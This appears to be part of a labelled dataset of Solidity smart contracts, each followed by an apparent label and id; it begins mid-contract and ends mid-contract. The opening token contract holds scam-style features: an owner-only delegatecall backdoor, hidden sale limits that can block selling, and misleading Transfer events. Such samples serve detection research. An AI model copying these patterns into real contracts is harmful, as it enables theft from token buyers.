if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,999 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract YSSYBToken is TokenERC20 {
function YSSYBToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
} | 1 | 3,696 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.4.23;
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.4.23;
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
pragma solidity ^0.4.23;
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
pragma solidity ^0.4.23;
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.23;
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
pragma solidity ^0.4.23;
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
pragma solidity ^0.4.23;
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
pragma solidity ^0.4.23;
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
pragma solidity ^0.4.23;
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
pragma solidity ^0.4.24;
contract GotToken is CanReclaimToken, MintableToken, PausableToken, BurnableToken {
string public constant name = "GOToken";
string public constant symbol = "GOT";
uint8 public constant decimals = 18;
constructor() public {
paused = true;
}
}
pragma solidity ^0.4.24;
contract PGOMonthlyInternalVault {
using SafeMath for uint256;
using SafeERC20 for GotToken;
struct Investment {
address beneficiary;
uint256 totalBalance;
uint256 released;
}
uint256 public constant VESTING_DIV_RATE = 21;
uint256 public constant VESTING_INTERVAL = 30 days;
uint256 public constant VESTING_CLIFF = 90 days;
uint256 public constant VESTING_DURATION = 720 days;
GotToken public token;
uint256 public start;
uint256 public end;
uint256 public cliff;
mapping(address => Investment) public investments;
function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public {
require(token == address(0));
require(beneficiaries.length == balances.length);
start = startTime;
cliff = start.add(VESTING_CLIFF);
end = start.add(VESTING_DURATION);
token = GotToken(_token);
for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) {
investments[beneficiaries[i]] = Investment(beneficiaries[i], balances[i], 0);
}
}
function release(address beneficiary) public {
uint256 unreleased = releasableAmount(beneficiary);
require(unreleased > 0);
investments[beneficiary].released = investments[beneficiary].released.add(unreleased);
token.safeTransfer(beneficiary, unreleased);
}
function release() public {
release(msg.sender);
}
function getInvestment(address beneficiary) public view returns(address, uint256, uint256) {
return (
investments[beneficiary].beneficiary,
investments[beneficiary].totalBalance,
investments[beneficiary].released
);
}
function releasableAmount(address beneficiary) public view returns (uint256) {
return vestedAmount(beneficiary).sub(investments[beneficiary].released);
}
function vestedAmount(address beneficiary) public view returns (uint256) {
uint256 vested = 0;
if (block.timestamp >= cliff && block.timestamp < end) {
uint256 totalBalance = investments[beneficiary].totalBalance;
uint256 monthlyBalance = totalBalance.div(VESTING_DIV_RATE);
uint256 time = block.timestamp.sub(cliff);
uint256 elapsedOffsets = time.div(VESTING_INTERVAL);
uint256 vestedToSum = elapsedOffsets.mul(monthlyBalance);
vested = vested.add(vestedToSum);
}
if (block.timestamp >= end) {
vested = investments[beneficiary].totalBalance;
}
return vested;
}
}
pragma solidity ^0.4.24;
contract PGOMonthlyPresaleVault is PGOMonthlyInternalVault {
function vestedAmount(address beneficiary) public view returns (uint256) {
uint256 vested = 0;
if (block.timestamp >= start) {
vested = investments[beneficiary].totalBalance.div(3);
}
if (block.timestamp >= cliff && block.timestamp < end) {
uint256 unlockedStartBalance = investments[beneficiary].totalBalance.div(3);
uint256 totalBalance = investments[beneficiary].totalBalance;
uint256 lockedBalance = totalBalance.sub(unlockedStartBalance);
uint256 monthlyBalance = lockedBalance.div(VESTING_DIV_RATE);
uint256 daysToSkip = 90 days;
uint256 time = block.timestamp.sub(start).sub(daysToSkip);
uint256 elapsedOffsets = time.div(VESTING_INTERVAL);
vested = vested.add(elapsedOffsets.mul(monthlyBalance));
}
if (block.timestamp >= end) {
vested = investments[beneficiary].totalBalance;
}
return vested;
}
} | 0 | 1,636 |
pragma solidity ^0.5.2;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.2;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(msg.sender, _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _params, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call(_data);
emit GenericCall(_contract, _data, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
}
contract UniversalSchemeInterface {
function updateParameters(bytes32 _hashedParameters) public;
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
contract UniversalScheme is Ownable, UniversalSchemeInterface {
bytes32 public hashedParameters;
function updateParameters(
bytes32 _hashedParameters
)
public
onlyOwner
{
hashedParameters = _hashedParameters;
}
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
tempRealBase = mul(tempRealBase, tempRealBase);
}
return uint216(realResult / REAL_ONE);
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
return uint256((uint256(realA) * uint256(realB)) >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint;
using Math for uint;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
